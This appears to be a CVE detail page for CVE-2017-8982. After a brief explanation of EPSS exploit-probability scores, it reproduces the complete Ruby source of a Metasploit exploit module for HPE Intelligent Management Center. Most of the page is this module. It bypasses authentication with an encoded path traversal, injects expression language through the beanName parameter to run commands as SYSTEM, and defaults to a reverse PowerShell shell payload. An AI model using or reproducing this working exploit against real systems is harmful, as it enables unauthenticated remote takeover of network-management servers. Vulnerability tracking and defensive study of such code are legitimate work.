CVE-2017-8982 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Exploit Title: HPE iMC EL Injection Unauthenticated RCE # Date: 6 February, 2018 # Exploit Author: TrendyTofu # Vendor Homepage: https://www.hpe.com/us/en/home.html # Software Link: http://h10145.www1.hpe.com/Downloads/SoftwareReleases.aspx?ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535 # Version: prior to 7.3 E0504P04 # Tested on: iMC PLAT v7.3 (E0504P02), Windows Server 2012R2 x64 (EN) # CVE : CVE-2017-8982, CVE-2017-12500 # Reference: https://www.thezdi.com/blog/2018/2/6/one-mans-patch-is-another-mans-treasure-a-tale-of-a-failed-hpe-patch Metasploit module also hosted on Github. Posted below for reference: https://raw.githubusercontent.com/thezdi/scripts/master/msf/hp_imc_el_injection_rce.rb ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'HPE iMC EL Injection Unauthenticated RCE', 'Description' => %q{ This module exploits an expression language injection vulnerablity, along with an authentication bypass vulnerability in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04 to achieve remote code execution. The HP iMC server suffers from multiple vulnerabilities allows unauthenticated attacker to execute arbitrary Expression Language via the beanName parameter, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 8080 and 8443 by default. This module has been tested successfully on iMC PLAT v7.3 (E0504P02) on Windows 2k12r2 x64 (EN). }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me', # Discovery 'trendytofu' # Metasploit ], 'References' => [ ['CVE', '2017-8982'], ['ZDI', '18-139'], ['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03809en_us'], ['CVE', '2017-12500'], ['ZDI', '17-663'], ['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03768en_us'] ], 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Windows', { 'Arch' => [ ARCH_CMD], 'Platform' => 'win' } ] ], 'Privileged' => true, 'DisclosureDate' => 'Jan 25 2018', 'DefaultOptions' => { 'Payload' => 'cmd/windows/reverse_powershell' }, 'DefaultTarget' => 0)) register_options [Opt::RPORT(8080)] end def check res = send_request_raw({'uri' => '/imc/login.jsf' }) return CheckCode::Detected if res && res.code == 200 CheckCode::Unknown end def get_payload(cmd) %q|facesContext.getExternalContext().redirect(%22%22.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22var%20proc=new%20java.lang.ProcessBuilder[%5C%22(java.lang.String[])%5C%22]([%5C%22cmd.exe%5C%22,%5C%22/c%5C%22,%5C%22|+cmd+%q|%5C%22]).start();%22))| end def execute_command(payload) res = send_request_raw({ 'uri' => "/imc/primepush/%2e%2e/ict/export/ictExpertDownload.xhtml?beanName=#{payload}" }) fail_with(Msf::Module::Failure::UnexpectedReply, "Injection failed") if res && res.code != 302 print_good "Command injected successfully!" end def exploit cmd = payload.encoded cmd.gsub!('cmd.exe /c ','') cmd = Rex::Text.uri_encode(cmd) print_status "Sending payload..." execute_command get_payload cmd end end